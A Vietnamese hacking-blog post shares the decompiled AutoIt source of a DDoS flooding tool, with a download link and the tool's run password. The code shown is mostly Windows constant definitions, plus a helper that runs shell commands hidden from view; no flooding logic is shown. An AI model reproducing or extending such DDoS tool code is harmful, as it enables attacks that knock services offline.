• Kiến thức
  • Network
  • Security
  • Software
  • Thủ thuật
  • Tin học văn phòng
  • Tin tức
  • Mail ảo tạm thời miễn phí
  • Tools tra cứu thông tin
AnonyViet
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC
No Result
View All Result
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC
No Result
View All Result
AnonyViet
No Result
View All Result

[Source] Attack Flood Version 1.0 DuyKhang-MZG

AnonyViet by AnonyViet
in DDOS
A A
1

Đây là mã nguồn chương trình Speed Attack Flood Version 1.0 của DuyKhang-MZG.
Link download chương trình gốc: [Download] (pass chạy tool : dnduykhang-mzg@1234!@#$)
Đi vào phân tích thử chương trình thì thấy chương trình này được pack bằng UPX 0.89.6 – 1.02 / 1.05 – 2.90 -> Markus & Laszlo

Tham gia kênh Telegram của AnonyViet 👉 Link 👈

[​IMG]

Các bài viết liên quan

DOS ATTACK từ bên trong mạng đến máy chủ DHCP 3

DOS ATTACK từ bên trong mạng đến máy chủ DHCP

23/04/2024
antiddos vddos

Dịch vụ “AntiDDoS miễn phí” cho các Website

31/01/2023
CAI VDDOS CHONG DDOS WEBSITE

Hướng dẫn AntiDDoS Layer 7 bằng vDDoS Proxy Protection

22/10/2022 - Updated on 23/10/2022
Tổng kết Event DDos vào mục tiêu AnonyViet 4

Tổng kết Event DDos vào mục tiêu AnonyViet

23/09/2022

Tiếp tục unpack xem:
Thì đây là 1 chương trình được viết bằng autoit:
Sau khi Decompile thì được source đã qua giai đoạn làm rối mã bằng obfuscated nhưng obfuscated thì không tốn nhiều thời gian để đưa trở lại bình thường tí nào!!
giờ chia sẻ source này cho các bạn yêu thích lập trình tham khảo thêm về cách mà người ta code tool ddos như thế nào nhé.

Code:

#Region
#AutoIt3Wrapper_Icon=..\..\..\Program Files (x86)\AutoIt3\Icons\filetype-blank.ico
#AutoIt3Wrapper_OutFile=DDoS.exe
#AutoIt3Wrapper_UseUpx=n
#AutoIt3Wrapper_Res_Comment=Simple DDoS
#AutoIt3Wrapper_Res_Description=Simple DDoS
#AutoIt3Wrapper_Res_Fileversion=1.0
#AutoIt3Wrapper_Res_LegalCopyright=Simple DDoS
#AutoIt3Wrapper_Run_Tidy=y
#AutoIt3Wrapper_Run_Obfuscator=y
#EndRegion
Global Const $process_terminate = 1
Global Const $process_create_thread = 2
Global Const $process_set_sessionid = 4
Global Const $process_vm_operation = 8
Global Const $process_vm_read = 16
Global Const $process_vm_write = 32
Global Const $process_dup_handle = 64
Global Const $process_create_process = 128
Global Const $process_set_quota = 256
Global Const $process_set_information = 512
Global Const $process_query_information = 1024
Global Const $process_suspend_resume = 2048
Global Const $process_all_access = 2035711
Func _processgetname($i_pid)
If NOT ProcessExists($i_pid) Then Return SetError(1, 0, "")
If NOT @error Then
Local $a_processes = ProcessList()
For $i = 1 To $a_processes[0][0]
If $a_processes[$i][1] = $i_pid Then Return $a_processes[$i][0]
Next
EndIf
Return SetError(1, 0, "")
EndFunc
Func _processgetpriority($vprocess)
Local $ierror, $iextended, $ireturn = -1
Local $i_pid = ProcessExists($vprocess)
If NOT $i_pid Then Return SetError(1, 0, -1)
Local $hdll = DllOpen("kernel32.dll")
Do
Local $aprocesshandle = DllCall($hdll, "handle", "OpenProcess", "dword", $process_query_information, "bool", False, "dword", $i_pid)
If @error Then
$ierror = @error
$iextended = @extended
ExitLoop
EndIf
If NOT $aprocesshandle[0] Then ExitLoop
Local $apriority = DllCall($hdll, "dword", "GetPriorityClass", "handle", $aprocesshandle[0])
If @error Then
$ierror = @error
$iextended = @extended
EndIf
DllCall($hdll, "bool", "CloseHandle", "handle", $aprocesshandle[0])
If $ierror Then ExitLoop
Switch $apriority[0]
Case 64
$ireturn = 0
Case 16384
$ireturn = 1
Case 32
$ireturn = 2
Case 32768
$ireturn = 3
Case 128
$ireturn = 4
Case 256
$ireturn = 5
Case Else
$ierror = 1
$iextended = $apriority[0]
$ireturn = -1
EndSwitch
Until True
DllClose($hdll)
Return SetError($ierror, $iextended, $ireturn)
EndFunc
Func _rundos($scommand)
Local $nresult = RunWait(@ComSpec & " /C " & $scommand, "", @SW_HIDE)
Return SetError(@error, @extended, $nresult)
EndFunc
Global Const $ws_tiled = 0
Global Const $ws_overlapped = 0
Global Const $ws_maximizebox = 65536
Global Const $ws_minimizebox = 131072
Global Const $ws_tabstop = 65536
Global Const $ws_group = 131072
Global Const $ws_sizebox = 262144
Global Const $ws_thickframe = 262144
Global Const $ws_sysmenu = 524288
Global Const $ws_hscroll = 1048576
Global Const $ws_vscroll = 2097152
Global Const $ws_dlgframe = 4194304
Global Const $ws_border = 8388608
Global Const $ws_caption = 12582912
Global Const $ws_overlappedwindow = 13565952
Global Const $ws_tiledwindow = 13565952
Global Const $ws_maximize = 16777216
Global Const $ws_clipchildren = 33554432
Global Const $ws_clipsiblings = 67108864
Global Const $ws_disabled = 134217728
Global Const $ws_visible = 268435456
Global Const $ws_minimize = 536870912
Global Const $ws_child = 1073741824
Global Const $ws_popup = -2147483648
Global Const $ws_popupwindow = -2138570752
Global Const $ds_modalframe = 128
Global Const $ds_setforeground = 512
Global Const $ds_contexthelp = 8192
Global Const $ws_ex_acceptfiles = 16
Global Const $ws_ex_mdichild = 64
Global Const $ws_ex_appwindow = 262144
Global Const $ws_ex_composited = 33554432
Global Const $ws_ex_clientedge = 512
Global Const $ws_ex_contexthelp = 1024
Global Const $ws_ex_dlgmodalframe = 1
Global Const $ws_ex_leftscrollbar = 16384
Global Const $ws_ex_overlappedwindow = 768
Global Const $ws_ex_right = 4096
Global Const $ws_ex_staticedge = 131072
Global Const $ws_ex_toolwindow = 128
Global Const $ws_ex_topmost = 8
Global Const $ws_ex_transparent = 32
Global Const $ws_ex_windowedge = 256
Global Const $ws_ex_layered = 524288
Global Const $ws_ex_controlparent = 65536
Global Const $ws_ex_layoutrtl = 4194304
Global Const $ws_ex_rtlreading = 8192
Global Const $wm_gettextlength = 14
Global Const $wm_gettext = 13
Global Const $wm_size = 5
Global Const $wm_sizing = 532
Global Const $wm_user = 1024
Global Const $wm_create = 1
Global Const $wm_destroy = 2
Global Const $wm_move = 3
Global Const $wm_activate = 6
Global Const $wm_setfocus = 7
Global Const $wm_killfocus = 8
Global Const $wm_enable = 10
Global Const $wm_setredraw = 11
Global Const $wm_settext = 12
Global Const $wm_paint = 15
Global Const $wm_close = 16
Global Const $wm_queryendsession = 17
Global Const $wm_quit = 18
Global Const $wm_erasebkgnd = 20
Global Const $wm_queryopen = 19
Global Const $wm_syscolorchange = 21
Global Const $wm_endsession = 22
Global Const $wm_showwindow = 24
Global Const $wm_settingchange = 26
Global Const $wm_wininichange = 26
Global Const $wm_devmodechange = 27
Global Const $wm_activateapp = 28
Global Const $wm_fontchange = 29
Global Const $wm_timechange = 30
Global Const $wm_cancelmode = 31
Global Const $wm_ime_startcomposition = 269
Global Const $wm_ime_endcomposition = 270
Global Const $wm_ime_composition = 271
Global Const $wm_ime_keylast = 271
Global Const $wm_setcursor = 32
Global Const $wm_mouseactivate = 33
Global Const $wm_childactivate = 34
Global Const $wm_queuesync = 35
Global Const $wm_getminmaxinfo = 36
Global Const $wm_painticon = 38
Global Const $wm_iconerasebkgnd = 39
Global Const $wm_nextdlgctl = 40
Global Const $wm_spoolerstatus = 42
Global Const $wm_drawitem = 43
Global Const $wm_measureitem = 44
Global Const $wm_deleteitem = 45
Global Const $wm_vkeytoitem = 46
Global Const $wm_chartoitem = 47
Global Const $wm_setfont = 48
Global Const $wm_getfont = 49
Global Const $wm_sethotkey = 50
Global Const $wm_gethotkey = 51
Global Const $wm_querydragicon = 55
Global Const $wm_compareitem = 57
Global Const $wm_getobject = 61
Global Const $wm_compacting = 65
Global Const $wm_commnotify = 68
Global Const $wm_windowposchanging = 70
Global Const $wm_windowposchanged = 71
Global Const $wm_power = 72
Global Const $wm_notify = 78
Global Const $wm_copydata = 74
Global Const $wm_canceljournal = 75
Global Const $wm_inputlangchangerequest = 80
Global Const $wm_inputlangchange = 81
Global Const $wm_tcard = 82
Global Const $wm_help = 83
Global Const $wm_userchanged = 84
Global Const $wm_notifyformat = 85
Global Const $wm_parentnotify = 528
Global Const $wm_entermenuloop = 529
Global Const $wm_exitmenuloop = 530
Global Const $wm_nextmenu = 531
Global Const $wm_capturechanged = 533
Global Const $wm_moving = 534
Global Const $wm_powerbroadcast = 536
Global Const $wm_devicechange = 537
Global Const $wm_mdicreate = 544
Global Const $wm_mdidestroy = 545
Global Const $wm_mdiactivate = 546
Global Const $wm_mdirestore = 547
Global Const $wm_mdinext = 548
Global Const $wm_mdimaximize = 549
Global Const $wm_mditile = 550
Global Const $wm_mdicascade = 551
Global Const $wm_mdiiconarrange = 552
Global Const $wm_mdigetactive = 553
Global Const $wm_mdisetmenu = 560
Global Const $wm_entersizemove = 561
Global Const $wm_exitsizemove = 562
Global Const $wm_dropfiles = 563
Global Const $wm_mdirefreshmenu = 564
Global Const $wm_ime_setcontext = 641
Global Const $wm_ime_notify = 642
Global Const $wm_ime_control = 643
Global Const $wm_ime_compositionfull = 644
Global Const $wm_ime_select = 645
Global Const $wm_ime_char = 646
Global Const $wm_ime_request = 648
Global Const $wm_ime_keydown = 656
Global Const $wm_ime_keyup = 657
Global Const $wm_ncmousehover = 672
Global Const $wm_mousehover = 673
Global Const $wm_ncmouseleave = 674
Global Const $wm_mouseleave = 675
Global Const $wm_wtssession_change = 689
Global Const $wm_tablet_first = 704
Global Const $wm_tablet_last = 735
Global Const $wm_cut = 768
Global Const $wm_copy = 769
Global Const $wm_paste = 770
Global Const $wm_clear = 771
Global Const $wm_undo = 772
Global Const $wm_paletteischanging = 784
Global Const $wm_hotkey = 786
Global Const $wm_palettechanged = 785
Global Const $wm_print = 791
Global Const $wm_printclient = 792
Global Const $wm_appcommand = 793
Global Const $wm_querynewpalette = 783
Global Const $wm_themechanged = 794
Global Const $wm_handheldfirst = 856
Global Const $wm_handheldlast = 863
Global Const $wm_afxfirst = 864
Global Const $wm_afxlast = 895
Global Const $wm_penwinfirst = 896
Global Const $wm_penwinlast = 911
Global Const $wm_contextmenu = 123
Global Const $wm_stylechanging = 124
Global Const $wm_stylechanged = 125
Global Const $wm_displaychange = 126
Global Const $wm_geticon = 127
Global Const $wm_seticon = 128
Global Const $wm_nccreate = 129
Global Const $wm_ncdestroy = 130
Global Const $wm_nccalcsize = 131
Global Const $wm_nchittest = 132
Global Const $wm_ncpaint = 133
Global Const $wm_ncactivate = 134
Global Const $wm_getdlgcode = 135
Global Const $wm_syncpaint = 136
Global Const $wm_ncmousemove = 160
Global Const $wm_nclbuttondown = 161
Global Const $wm_nclbuttonup = 162
Global Const $wm_nclbuttondblclk = 163
Global Const $wm_ncrbuttondown = 164
Global Const $wm_ncrbuttonup = 165
Global Const $wm_ncrbuttondblclk = 166
Global Const $wm_ncmbuttondown = 167
Global Const $wm_ncmbuttonup = 168
Global Const $wm_ncmbuttondblclk = 169
Global Const $wm_ncxbuttondown = 171
Global Const $wm_ncxbuttonup = 172
Global Const $wm_ncxbuttondblclk = 173
Global Const $wm_keydown = 256
Global Const $wm_keyfirst = 256
Global Const $wm_keyup = 257
Global Const $wm_char = 258
Global Const $wm_deadchar = 259
Global Const $wm_syskeydown = 260
Global Const $wm_syskeyup = 261
Global Const $wm_syschar = 262
Global Const $wm_sysdeadchar = 263
Global Const $wm_keylast = 265
Global Const $wm_unichar = 265
Global Const $wm_initdialog = 272
Global Const $wm_command = 273
Global Const $wm_syscommand = 274
Global Const $wm_timer = 275
Global Const $wm_hscroll = 276
Global Const $wm_vscroll = 277
Global Const $wm_initmenu = 278
Global Const $wm_initmenupopup = 279
Global Const $wm_menuselect = 287
Global Const $wm_menuchar = 288
Global Const $wm_enteridle = 289
Global Const $wm_menurbuttonup = 290
Global Const $wm_menudrag = 291
Global Const $wm_menugetobject = 292
Global Const $wm_uninitmenupopup = 293
Global Const $wm_menucommand = 294
Global Const $wm_changeuistate = 295
Global Const $wm_updateuistate = 296
Global Const $wm_queryuistate = 297
Global Const $wm_ctlcolormsgbox = 306
Global Const $wm_ctlcoloredit = 307
Global Const $wm_ctlcolorlistbox = 308
Global Const $wm_ctlcolorbtn = 309
Global Const $wm_ctlcolordlg = 310
Global Const $wm_ctlcolorscrollbar = 311
Global Const $wm_ctlcolorstatic = 312
Global Const $wm_ctlcolor = 25
Global Const $mn_gethmenu = 481
Global Const $wm_app = 32768
Global Const $nm_first = 0
Global Const $nm_outofmemory = $nm_first - 1
Global Const $nm_click = $nm_first - 2
Global Const $nm_dblclk = $nm_first - 3
Global Const $nm_return = $nm_first - 4
Global Const $nm_rclick = $nm_first - 5
Global Const $nm_rdblclk = $nm_first - 6
Global Const $nm_setfocus = $nm_first - 7
Global Const $nm_killfocus = $nm_first - 8
Global Const $nm_customdraw = $nm_first - 12
Global Const $nm_hover = $nm_first - 13
Global Const $nm_nchittest = $nm_first - 14
Global Const $nm_keydown = $nm_first - 15
Global Const $nm_releasedcapture = $nm_first - 16
Global Const $nm_setcursor = $nm_first - 17
Global Const $nm_char = $nm_first - 18
Global Const $nm_tooltipscreated = $nm_first - 19
Global Const $nm_ldown = $nm_first - 20
Global Const $nm_rdown = $nm_first - 21
Global Const $nm_themechanged = $nm_first - 22
Global Const $wm_mousefirst = 512
Global Const $wm_mousemove = 512
Global Const $wm_lbuttondown = 513
Global Const $wm_lbuttonup = 514
Global Const $wm_lbuttondblclk = 515
Global Const $wm_rbuttondown = 516
Global Const $wm_rbuttonup = 517
Global Const $wm_rbuttondblclk = 518
Global Const $wm_mbuttondown = 519
Global Const $wm_mbuttonup = 520
Global Const $wm_mbuttondblclk = 521
Global Const $wm_mousewheel = 522
Global Const $wm_xbuttondown = 523
Global Const $wm_xbuttonup = 524
Global Const $wm_xbuttondblclk = 525
Global Const $wm_mousehwheel = 526
Global Const $ps_solid = 0
Global Const $ps_dash = 1
Global Const $ps_dot = 2
Global Const $ps_dashdot = 3
Global Const $ps_dashdotdot = 4
Global Const $ps_null = 5
Global Const $ps_insideframe = 6
Global Const $lwa_alpha = 2
Global Const $lwa_colorkey = 1
Global Const $rgn_and = 1
Global Const $rgn_or = 2
Global Const $rgn_xor = 3
Global Const $rgn_diff = 4
Global Const $rgn_copy = 5
Global Const $errorregion = 0
Global Const $nullregion = 1
Global Const $simpleregion = 2
Global Const $complexregion = 3
Global Const $transparent = 1
Global Const $opaque = 2
Global Const $ccm_first = 8192
Global Const $ccm_getunicodeformat = ($ccm_first + 6)
Global Const $ccm_setunicodeformat = ($ccm_first + 5)
Global Const $ccm_setbkcolor = $ccm_first + 1
Global Const $ccm_setcolorscheme = $ccm_first + 2
Global Const $ccm_getcolorscheme = $ccm_first + 3
Global Const $ccm_getdroptarget = $ccm_first + 4
Global Const $ccm_setwindowtheme = $ccm_first + 11
Global Const $ga_parent = 1
Global Const $ga_root = 2
Global Const $ga_rootowner = 3
Global Const $sm_cxscreen = 0
Global Const $sm_cyscreen = 1
Global Const $sm_cxvscroll = 2
Global Const $sm_cyhscroll = 3
Global Const $sm_cycaption = 4
Global Const $sm_cxborder = 5
Global Const $sm_cyborder = 6
Global Const $sm_cxdlgframe = 7
Global Const $sm_cydlgframe = 8
Global Const $sm_cyvthumb = 9
Global Const $sm_cxhthumb = 10
Global Const $sm_cxicon = 11
Global Const $sm_cyicon = 12
Global Const $sm_cxcursor = 13
Global Const $sm_cycursor = 14
Global Const $sm_cymenu = 15
Global Const $sm_cxfullscreen = 16
Global Const $sm_cyfullscreen = 17
Global Const $sm_cykanjiwindow = 18
Global Const $sm_mousepresent = 19
Global Const $sm_cyvscroll = 20
Global Const $sm_cxhscroll = 21
Global Const $sm_debug = 22
Global Const $sm_swapbutton = 23
Global Const $sm_reserved1 = 24
Global Const $sm_reserved2 = 25
Global Const $sm_reserved3 = 26
Global Const $sm_reserved4 = 27
Global Const $sm_cxmin = 28
Global Const $sm_cymin = 29
Global Const $sm_cxsize = 30
Global Const $sm_cysize = 31
Global Const $sm_cxframe = 32
Global Const $sm_cyframe = 33
Global Const $sm_cxmintrack = 34
Global Const $sm_cymintrack = 35
Global Const $sm_cxdoubleclk = 36
Global Const $sm_cydoubleclk = 37
Global Const $sm_cxiconspacing = 38
Global Const $sm_cyiconspacing = 39
Global Const $sm_menudropalignment = 40
Global Const $sm_penwindows = 41
Global Const $sm_dbcsenabled = 42
Global Const $sm_cmousebuttons = 43
Global Const $sm_secure = 44
Global Const $sm_cxedge = 45
Global Const $sm_cyedge = 46
Global Const $sm_cxminspacing = 47
Global Const $sm_cyminspacing = 48
Global Const $sm_cxsmicon = 49
Global Const $sm_cysmicon = 50
Global Const $sm_cysmcaption = 51
Global Const $sm_cxsmsize = 52
Global Const $sm_cysmsize = 53
Global Const $sm_cxmenusize = 54
Global Const $sm_cymenusize = 55
Global Const $sm_arrange = 56
Global Const $sm_cxminimized = 57
Global Const $sm_cyminimized = 58
Global Const $sm_cxmaxtrack = 59
Global Const $sm_cymaxtrack = 60
Global Const $sm_cxmaximized = 61
Global Const $sm_cymaximized = 62
Global Const $sm_network = 63
Global Const $sm_cleanboot = 67
Global Const $sm_cxdrag = 68
Global Const $sm_cydrag = 69
Global Const $sm_showsounds = 70
Global Const $sm_cxmenucheck = 71
Global Const $sm_cymenucheck = 72
Global Const $sm_slowmachine = 73
Global Const $sm_mideastenabled = 74
Global Const $sm_mousewheelpresent = 75
Global Const $sm_xvirtualscreen = 76
Global Const $sm_yvirtualscreen = 77
Global Const $sm_cxvirtualscreen = 78
Global Const $sm_cyvirtualscreen = 79
Global Const $sm_cmonitors = 80
Global Const $sm_samedisplayformat = 81
Global Const $sm_immenabled = 82
Global Const $sm_cxfocusborder = 83
Global Const $sm_cyfocusborder = 84
Global Const $sm_tabletpc = 86
Global Const $sm_mediacenter = 87
Global Const $sm_starter = 88
Global Const $sm_serverr2 = 89
Global Const $sm_cmetrics = 90
Global Const $sm_remotesession = 4096
Global Const $sm_shuttingdown = 8192
Global Const $sm_remotecontrol = 8193
Global Const $sm_caretblinkingenabled = 8194
Global Const $blackness = 66
Global Const $captureblt = 1073741824
Global Const $dstinvert = 5570569
Global Const $mergecopy = 12583114
Global Const $mergepaint = 12255782
Global Const $nomirrorbitmap = -2147483648
Global Const $notsrccopy = 3342344
Global Const $notsrcerase = 1114278
Global Const $patcopy = 15728673
Global Const $patinvert = 5898313
Global Const $patpaint = 16452105
Global Const $srcand = 8913094
Global Const $srccopy = 13369376
Global Const $srcerase = 4457256
Global Const $srcinvert = 6684742
Global Const $srcpaint = 15597702
Global Const $whiteness = 16711778
Global Const $dt_bottom = 8
Global Const $dt_calcrect = 1024
Global Const $dt_center = 1
Global Const $dt_editcontrol = 8192
Global Const $dt_end_ellipsis = 32768
Global Const $dt_expandtabs = 64
Global Const $dt_externalleading = 512
Global Const $dt_hideprefix = 1048576
Global Const $dt_internal = 4096
Global Const $dt_left = 0
Global Const $dt_modifystring = 65536
Global Const $dt_noclip = 256
Global Const $dt_nofullwidthcharbreak = 524288
Global Const $dt_noprefix = 2048
Global Const $dt_path_ellipsis = 16384
Global Const $dt_prefixonly = 2097152
Global Const $dt_right = 2
Global Const $dt_rtlreading = 131072
Global Const $dt_singleline = 32
Global Const $dt_tabstop = 128
Global Const $dt_top = 0
Global Const $dt_vcenter = 4
Global Const $dt_wordbreak = 16
Global Const $dt_word_ellipsis = 262144
Global Const $rdw_erase = 4
Global Const $rdw_frame = 1024
Global Const $rdw_internalpaint = 2
Global Const $rdw_invalidate = 1
Global Const $rdw_noerase = 32
Global Const $rdw_noframe = 2048
Global Const $rdw_nointernalpaint = 16
Global Const $rdw_validate = 8
Global Const $rdw_erasenow = 512
Global Const $rdw_updatenow = 256
Global Const $rdw_allchildren = 128
Global Const $rdw_nochildren = 64
Global Const $wm_renderformat = 773
Global Const $wm_renderallformats = 774
Global Const $wm_destroyclipboard = 775
Global Const $wm_drawclipboard = 776
Global Const $wm_paintclipboard = 777
Global Const $wm_vscrollclipboard = 778
Global Const $wm_sizeclipboard = 779
Global Const $wm_askcbformatname = 780
Global Const $wm_changecbchain = 781
Global Const $wm_hscrollclipboard = 782
Global Const $hterror = -2
Global Const $httransparent = -1
Global Const $htnowhere = 0
Global Const $htclient = 1
Global Const $htcaption = 2
Global Const $htsysmenu = 3
Global Const $htgrowbox = 4
Global Const $htsize = $htgrowbox
Global Const $htmenu = 5
Global Const $hthscroll = 6
Global Const $htvscroll = 7
Global Const $htminbutton = 8
Global Const $htmaxbutton = 9
Global Const $htleft = 10
Global Const $htright = 11
Global Const $httop = 12
Global Const $httopleft = 13
Global Const $httopright = 14
Global Const $htbottom = 15
Global Const $htbottomleft = 16
Global Const $htbottomright = 17
Global Const $htborder = 18
Global Const $htreduce = $htminbutton
Global Const $htzoom = $htmaxbutton
Global Const $htsizefirst = $htleft
Global Const $htsizelast = $htbottomright
Global Const $htobject = 19
Global Const $htclose = 20
Global Const $hthelp = 21
Global Const $color_scrollbar = 0
Global Const $color_background = 1
Global Const $color_activecaption = 2
Global Const $color_inactivecaption = 3
Global Const $color_menu = 4
Global Const $color_window = 5
Global Const $color_windowframe = 6
Global Const $color_menutext = 7
Global Const $color_windowtext = 8
Global Const $color_captiontext = 9
Global Const $color_activeborder = 10
Global Const $color_inactiveborder = 11
Global Const $color_appworkspace = 12
Global Const $color_highlight = 13
Global Const $color_highlighttext = 14
Global Const $color_btnface = 15
Global Const $color_btnshadow = 16
Global Const $color_graytext = 17
Global Const $color_btntext = 18
Global Const $color_inactivecaptiontext = 19
Global Const $color_btnhighlight = 20
Global Const $color_3ddkshadow = 21
Global Const $color_3dlight = 22
Global Const $color_infotext = 23
Global Const $color_infobk = 24
Global Const $color_hotlight = 26
Global Const $color_gradientactivecaption = 27
Global Const $color_gradientinactivecaption = 28
Global Const $color_menuhilight = 29
Global Const $color_menubar = 30
Global Const $color_desktop = 1
Global Const $color_3dface = 15
Global Const $color_3dshadow = 16
Global Const $color_3dhighlight = 20
Global Const $color_3dhilight = 20
Global Const $color_btnhilight = 20
Global Const $hinst_commctrl = -1
Global Const $idb_std_small_color = 0
Global Const $idb_std_large_color = 1
Global Const $idb_view_small_color = 4
Global Const $idb_view_large_color = 5
Global Const $idb_hist_small_color = 8
Global Const $idb_hist_large_color = 9
Global Const $startf_forceofffeedback = 128
Global Const $startf_forceonfeedback = 64
Global Const $startf_runfullscreen = 32
Global Const $startf_usecountchars = 8
Global Const $startf_usefillattribute = 16
Global Const $startf_usehotkey = 512
Global Const $startf_useposition = 4
Global Const $startf_useshowwindow = 1
Global Const $startf_usesize = 2
Global Const $startf_usestdhandles = 256
Global Const $cdds_prepaint = 1
Global Const $cdds_postpaint = 2
Global Const $cdds_preerase = 3
Global Const $cdds_posterase = 4
Global Const $cdds_item = 65536
Global Const $cdds_itemprepaint = 65537
Global Const $cdds_itempostpaint = 65538
Global Const $cdds_itempreerase = 65539
Global Const $cdds_itemposterase = 65540
Global Const $cdds_subitem = 131072
Global Const $cdis_selected = 1
Global Const $cdis_grayed = 2
Global Const $cdis_disabled = 4
Global Const $cdis_checked = 8
Global Const $cdis_focus = 16
Global Const $cdis_default = 32
Global Const $cdis_hot = 64
Global Const $cdis_marked = 128
Global Const $cdis_indeterminate = 256
Global Const $cdis_showkeyboardcues = 512
Global Const $cdis_nearhot = 1024
Global Const $cdis_othersidehot = 2048
Global Const $cdis_drophilited = 4096
Global Const $cdrf_dodefault = 0
Global Const $cdrf_newfont = 2
Global Const $cdrf_skipdefault = 4
Global Const $cdrf_notifypostpaint = 16
Global Const $cdrf_notifyitemdraw = 32
Global Const $cdrf_notifysubitemdraw = 32
Global Const $cdrf_notifyposterase = 64
Global Const $cdrf_doerase = 8
Global Const $cdrf_skippostpaint = 256
Global Const $gui_ss_default_gui = BitOR($ws_minimizebox, $ws_caption, $ws_popup, $ws_sysmenu)
Global Const $gui_event_close = -3
Global Const $gui_event_minimize = -4
Global Const $gui_event_restore = -5
Global Const $gui_event_maximize = -6
Global Const $gui_event_primarydown = -7
Global Const $gui_event_primaryup = -8
Global Const $gui_event_secondarydown = -9
Global Const $gui_event_secondaryup = -10
Global Const $gui_event_mousemove = -11
Global Const $gui_event_resized = -12
Global Const $gui_event_dropped = -13
Global Const $gui_rundefmsg = "GUI_RUNDEFMSG"
Global Const $gui_avistop = 0
Global Const $gui_avistart = 1
Global Const $gui_aviclose = 2
Global Const $gui_checked = 1
Global Const $gui_indeterminate = 2
Global Const $gui_unchecked = 4
Global Const $gui_dropaccepted = 8
Global Const $gui_nodropaccepted = 4096
Global Const $gui_acceptfiles = $gui_dropaccepted
Global Const $gui_show = 16
Global Const $gui_hide = 32
Global Const $gui_enable = 64
Global Const $gui_disable = 128
Global Const $gui_focus = 256
Global Const $gui_nofocus = 8192
Global Const $gui_defbutton = 512
Global Const $gui_expand = 1024
Global Const $gui_ontop = 2048
Global Const $gui_fontitalic = 2
Global Const $gui_fontunder = 4
Global Const $gui_fontstrike = 8
Global Const $gui_dockauto = 1
Global Const $gui_dockleft = 2
Global Const $gui_dockright = 4
Global Const $gui_dockhcenter = 8
Global Const $gui_docktop = 32
Global Const $gui_dockbottom = 64
Global Const $gui_dockvcenter = 128
Global Const $gui_dockwidth = 256
Global Const $gui_dockheight = 512
Global Const $gui_docksize = 768
Global Const $gui_dockmenubar = 544
Global Const $gui_dockstatebar = 576
Global Const $gui_dockall = 802
Global Const $gui_dockborders = 102
Global Const $gui_gr_close = 1
Global Const $gui_gr_line = 2
Global Const $gui_gr_bezier = 4
Global Const $gui_gr_move = 6
Global Const $gui_gr_color = 8
Global Const $gui_gr_rect = 10
Global Const $gui_gr_ellipse = 12
Global Const $gui_gr_pie = 14
Global Const $gui_gr_dot = 16
Global Const $gui_gr_pixel = 18
Global Const $gui_gr_hint = 20
Global Const $gui_gr_refresh = 22
Global Const $gui_gr_pensize = 24
Global Const $gui_gr_nobkcolor = -2
Global Const $gui_bkcolor_default = -1
Global Const $gui_bkcolor_transparent = -2
Global Const $gui_bkcolor_lv_alternate = -33554432
Global Const $gui_ws_ex_parentdrag = 1048576
Global Const $cb_err = -1
Global Const $cb_errattribute = -3
Global Const $cb_errrequired = -4
Global Const $cb_errspace = -2
Global Const $cb_okay = 0
Global Const $state_system_invisible = 32768
Global Const $state_system_pressed = 8
Global Const $cbs_autohscroll = 64
Global Const $cbs_disablenoscroll = 2048
Global Const $cbs_dropdown = 2
Global Const $cbs_dropdownlist = 3
Global Const $cbs_hasstrings = 512
Global Const $cbs_lowercase = 16384
Global Const $cbs_nointegralheight = 1024
Global Const $cbs_oemconvert = 128
Global Const $cbs_ownerdrawfixed = 16
Global Const $cbs_ownerdrawvariable = 32
Global Const $cbs_simple = 1
Global Const $cbs_sort = 256
Global Const $cbs_uppercase = 8192
Global Const $cbm_first = 5888
Global Const $cb_addstring = 323
Global Const $cb_deletestring = 324
Global Const $cb_dir = 325
Global Const $cb_findstring = 332
Global Const $cb_findstringexact = 344
Global Const $cb_getcomboboxinfo = 356
Global Const $cb_getcount = 326
Global Const $cb_getcuebanner = ($cbm_first + 4)
Global Const $cb_getcursel = 327
Global Const $cb_getdroppedcontrolrect = 338
Global Const $cb_getdroppedstate = 343
Global Const $cb_getdroppedwidth = 351
Global Const $cb_geteditsel = 320
Global Const $cb_getextendedui = 342
Global Const $cb_gethorizontalextent = 349
Global Const $cb_getitemdata = 336
Global Const $cb_getitemheight = 340
Global Const $cb_getlbtext = 328
Global Const $cb_getlbtextlen = 329
Global Const $cb_getlocale = 346
Global Const $cb_getminvisible = 5890
Global Const $cb_gettopindex = 347
Global Const $cb_initstorage = 353
Global Const $cb_limittext = 321
Global Const $cb_resetcontent = 331
Global Const $cb_insertstring = 330
Global Const $cb_selectstring = 333
Global Const $cb_setcuebanner = ($cbm_first + 3)
Global Const $cb_setcursel = 334
Global Const $cb_setdroppedwidth = 352
Global Const $cb_seteditsel = 322
Global Const $cb_setextendedui = 341
Global Const $cb_sethorizontalextent = 350
Global Const $cb_setitemdata = 337
Global Const $cb_setitemheight = 339
Global Const $cb_setlocale = 345
Global Const $cb_setminvisible = 5889
Global Const $cb_settopindex = 348
Global Const $cb_showdropdown = 335
Global Const $cbn_closeup = 8
Global Const $cbn_dblclk = 2
Global Const $cbn_dropdown = 7
Global Const $cbn_editchange = 5
Global Const $cbn_editupdate = 6
Global Const $cbn_errspace = (-1)
Global Const $cbn_killfocus = 4
Global Const $cbn_selchange = 1
Global Const $cbn_selendcancel = 10
Global Const $cbn_selendok = 9
Global Const $cbn_setfocus = 3
Global Const $cbes_ex_casesensitive = 16
Global Const $cbes_ex_noeditimage = 1
Global Const $cbes_ex_noeditimageindent = 2
